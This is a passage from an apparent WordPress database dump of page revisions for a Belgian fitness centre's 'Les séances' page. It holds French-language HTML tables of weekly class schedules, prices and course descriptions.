class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 45%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;toto\r\ntiti\r\ntoutou&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:51:17', '2013-07-03 17:51:17', '', 11, 'http://www.crosstrainingcenter.be/?p=200', 0, 'revision', '', 0),
(201, 1, '2013-07-03 17:51:52', '2013-07-03 17:51:52', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nLes séances sont programmées selon le planning ci-dessous.\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;br&gt;&lt;br&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 98%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;toto\r\ntiti\r\ntoutou&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:51:52', '2013-07-03 17:51:52', '', 11, 'http://www.crosstrainingcenter.be/?p=201', 0, 'revision', '', 0),
(202, 1, '2013-07-03 17:53:40', '2013-07-03 17:53:40', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nLes séances sont programmées selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td 